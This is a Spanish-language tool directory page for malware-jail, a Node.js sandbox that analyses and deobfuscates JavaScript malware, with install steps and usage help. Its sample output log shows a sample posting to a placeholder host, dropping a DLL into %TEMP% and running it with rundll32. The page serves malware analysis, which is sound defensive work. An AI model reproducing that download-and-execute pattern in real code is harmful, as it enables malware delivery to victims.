Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
malware-jail — Sandbox para el análisis semiautomático de malware JavaScript, desofuscación y extracción de payload. Escrito para Node.js | Kitploit
Herramientas/GitHubGitHub/hynekpetrak/malware-jail
Análisis Dinámico (Sandboxing)Análisis de Malware
GitHubhynekpetrak/malware-jail

malware-jail

Sandbox para el análisis semiautomático de malware JavaScript, desofuscación y extracción de payload. Escrito para Node.js

Ver Repositorio
4789811hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

malware-jail

Sandbox para análisis semiautomático de malware JavaScript, desofuscación y extracción de payload. Escrito para Node.js

malware-jail está escrito para el sandbox 'vm' de Node. Actualmente implementa el contexto WScript (Windows Scripting Host) env/wscript.js, al menos la parte usada frecuentemente por malware. El contexto del navegador de Internet está implementado parcialmente env/browser.js.

Se ejecuta en cualquier sistema operativo. Desarrollado y probado en Linux, Node.js v6.6.0.

Debido al uso de algunas características de ES6, necesitarás Node.js >= 6.x.

Ver EXAMPLES para muestras de malware analizadas.

Si tienes nuevas muestras de malware, por favor envíalas a javascript-malware-collection, ya sea mediante un issue o pull request.

Nuevas características

Versión 0.19

Enumera consultas WMI en un archivo: wmis.json

Versión 0.17

Añadido nuevo parámetro:

--t404 - las solicitudes http siempre devuelven HTTP/404 y lanzan una excepción. Esto permite enumerar todas las URLs remotas.

Versión 0.16

Ahora las URLs se guardan en urls.json. Ver el último EXAMPLES#malware-of-issue-14.

Varias correcciones de errores y mejoras.

Versión 0.14

Varias correcciones de errores y mejoras.

Versión 0.13

Añadidos nuevos parámetros:

-t msecs - limita el tiempo de ejecución a "msecs" milisegundos, por defecto 60 segundos.
--h404 - las solicitudes http siempre devuelven HTTP/404 y no lanzan una excepción. Esto permite enumerar todas las URLs remotas.

Instalación

Necesitarás tener instalados Node.js y npm.

malware-jail está construido sobre minimist, iconv-lite y entities.

Descargar desde GitHub

Descarga el código fuente con git:

git clone https://github.com/HynekPetrak/malware-jail.git
cd malware-jail

Luego instala todas las dependencias (minimist, entities, iconv-lite) con:

npm install

Paquete NPM

Aún no disponible, próximamente...

Advertencia

Ten cuidado al trabajar con malware real. Un malware que sea consciente de este sandbox puede intentar escapar y dañar tu PC. Se recomienda ejecutarlo desde una cuenta de Linux sin privilegios o desde una máquina Windows virtualizada. Los archivos Angler en la carpeta malware NO están desarmados.

Uso

bash@linux# node jailme.js -h -b list
7 May 20:54:52 - malware-jail, a malware sandbox ver. 0.19
7 May 20:54:52 - ------------------------
7 May 20:54:52 - Usage: node jailme.js  [[-e file1] [-e file2] .. ] [-c ./config.json] \
7 May 20:54:52 -                [-o ofile] [-b id] \
7 May 20:54:52 -                [-s odir] [--down] [malware1 [malware2] .. ]
7 May 20:54:52 -        -c config .. use alternative config file, preceed with ./
7 May 20:54:52 -        -e ifile ... js that simulates specific environment
7 May 20:54:52 -        -o ofile ... name of the file where sandbox shall be dumped at the end
7 May 20:54:52 -        -s odir  ... output directory for generated files (malware payload)
7 May 20:54:52 -        -b id    ... browser type, use -b list for possible values
7 May 20:54:52 -        -t msecs ... number of miliseconds before terminating execution, default 1 minute
7 May 20:54:52 -        --trace  ... print stack trace with every log line
7 May 20:54:52 -        --down   ... allow downloading malware payloads from remote servers
7 May 20:54:52 -        --h404   ... on download return always HTTP/404
7 May 20:54:52 -        malware  ... js with the malware code
7 May 20:54:52 - If no arguments are specified the default values are taken from config.json
7 May 20:54:52 - Possible -b values: [ 'IE11_W10', 'IE8', 'IE7', 'iPhone', 'Firefox', 'Chrome' ]

En la carpeta de ejemplos puedes encontrar un archivo de malware desactivado. Ejecuta el análisis con:

node jailme.js -c ./config_wscript_only.json --down=y malware/example.js

El malware basado en navegador de Internet puedes probarlo con

node jailme.js -b IE11_W10 malware/example_browser.js

Al final del análisis, el contexto completo del sandbox se vuelca en un archivo 'sandbox_dump_after.json'.

Puede que quieras examinar las siguientes entradas de 'sandbox_dump_after.json':

  • eval_calls - array de todos los argumentos de las llamadas eval(). Útil si se usa eval() para desofuscación.
  • wscript_saved_files - contenido de todos los archivos que el malware intentó soltar. Los archivos reales también se guardan en el directorio output/.
  • wscript_urls - todas las URLs que el malware pretendía GET o POST.
  • wscript_objects - objetos WScript o ActiveX creados.

'sandbox_dump_after.json' usa JSONPath, implementado por JSON-js/cycle.js, para guardar referencias duplicadas o cíclicas a un mismo objeto.

Salida de muestra

bash@linux# node jailme.js malware/example.js
11 Jan 00:06:24 - Malware sandbox ver. 0.2
11 Jan 00:06:24 - ------------------------
11 Jan 00:06:24 - Sandbox environment sequence: env/eval.js,env/wscript.js
11 Jan 00:06:24 - Malware files: malware/example.js
11 Jan 00:06:24 - Output file for sandbox dump: sandbox_dump_after.json
11 Jan 00:06:24 - Output directory for generated files: output/
11 Jan 00:06:24 - ==> Preparing Sandbox environment.
11 Jan 00:06:24 -  => Executing: env/eval.js
11 Jan 00:06:24 - Preparing sandbox to intercept eval() calls.
11 Jan 00:06:24 -  => Executing: env/wscript.js
11 Jan 00:06:24 - Preparing sandbox to emulate WScript environment.
11 Jan 00:06:24 - ==> Executing malware file(s).
11 Jan 00:06:24 -  => Executing: malware/example.js
11 Jan 00:06:24 - ActiveXObject(WScript.Shell)
11 Jan 00:06:24 - Created: WScript.Shell[1]
11 Jan 00:06:24 - WScript.Shell[1].ExpandEnvironmentStrings(%TEMP%)
11 Jan 00:06:24 - ActiveXObject(MSXML2.XMLHTTP)
11 Jan 00:06:24 - Created: MSXML2.XMLHTTP[2]
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].open(POST,http://EXAMPLE.COM/redir.php,false)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].setRequestHeader(Content-Type, application/x-www-form-urlencoded)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].send(iTlOlnxhMXnM=0.588860877091065&jndj=IT0601)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Not sending data, if you want to interract with remote server, set --down=y
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Calling onreadystatechange() with dummy data
11 Jan 00:06:24 - ActiveXObject(ADODB.Stream)
11 Jan 00:06:24 - Created: ADODB_Stream[3]
11 Jan 00:06:24 - ADODB_Stream[3].Open()
11 Jan 00:06:24 - ADODB_Stream[3].Write(str) - 10001 bytes
11 Jan 00:06:24 - ADODB_Stream[3].SaveToFile(%TEMP%\57020551.dll, 2)
11 Jan 00:06:24 - WScript.Shell[1].Exec(rundll32 %TEMP%\57020551.dll, DllRegisterServer)
11 Jan 00:06:24 - ADODB_Stream[3].Close()
11 Jan 00:08:42 - ==> Script execution finished, dumping sandbox environment to a file.
11 Jan 00:08:42 - Saving: output/_TEMP__49629482.dll
11 Jan 00:08:42 - Saving: output/_TEMP__38611354.pdf
11 Jan 00:08:42 - Generated file saved
11 Jan 00:08:42 - Generated file saved
11 Jan 00:08:42 - The sandbox context has been  saved to: sandbox_dump_after.json
Descargar herramienta